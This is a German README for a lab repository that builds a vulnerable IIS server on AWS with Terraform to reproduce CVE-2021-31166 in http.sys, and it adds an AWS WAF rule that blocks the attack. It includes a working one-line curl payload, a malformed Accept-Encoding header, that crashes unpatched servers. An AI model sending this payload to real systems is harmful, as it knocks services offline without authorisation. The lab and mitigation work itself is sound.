
Dieses Repository ist inspiriert von 0vercl0k für einen Proof-of-Concept für CVE-2021-31166 ("HTTP Protocol Stack Remote Code Execution Vulnerability"), eine Use-After-Free-Dereferenzierung in http.sys, die von Microsoft im Mai 2021 gepatcht wurde.
git clone https://github.com/bgsilvait/WIn-CVE-2021-31166.git
cd WIn-CVE-2021-31166
terraform init
terraform plan
terraform apply --auto-approve
Das Terraform-Skript erstellt eine EC2-Instanz mit Windows Server Core 20H2, installiert IIS und fügt SSM-Berechtigungen hinzu, um eine Web-PowerShell-Sitzung von der AWS-Konsole aus zu öffnen. Es erstellt außerdem einen Application Load Balancer und verwendet die Instanz als Ziel. Standardmäßig fügt die Security Group nur IHRE IP als zulässig für den Zugriff per HTTP hinzu.
#Define Values from Terraform Output
ALB=$(terraform output -raw lb_dns_name)
EC2IP=$(terraform output -json public_ip | jq -r '.[0]')
#Testing to ALB
while true; do curl -I $ALB --connect-timeout 1 ; done
#Testing Directly to EC2'
while true; do curl -I $EC2IP --connect-timeout 1 ; done
#Testing to ALB
curl -i $ALB -H "Accept-Encoding: doar-e, ftw, imo, ,"
#Testing Directly to EC2'
curl -i $EC2IP -H "Accept-Encoding: doar-e, ftw, imo, ,"
{
"Name": "cve-block",
"Priority": 0,
"Statement": {
"ByteMatchStatement": {
"SearchString": "doar-e, ftw, imo, ,",
"FieldToMatch": {
"SingleHeader": {
"Name": "accept-encoding"
}
},
"TextTransformations": [
{
"Priority": 0,
"Type": "NONE"
}
],
"PositionalConstraint": "EXACTLY"
}
},
"Action": {
"Block": {
"CustomResponse": {
"ResponseCode": 418,
"CustomResponseBodyKey": "418"
}
}
},
"VisibilityConfig": {
"SampledRequestsEnabled": true,
"CloudWatchMetricsEnabled": true,
"MetricName": "cve-block"
}
}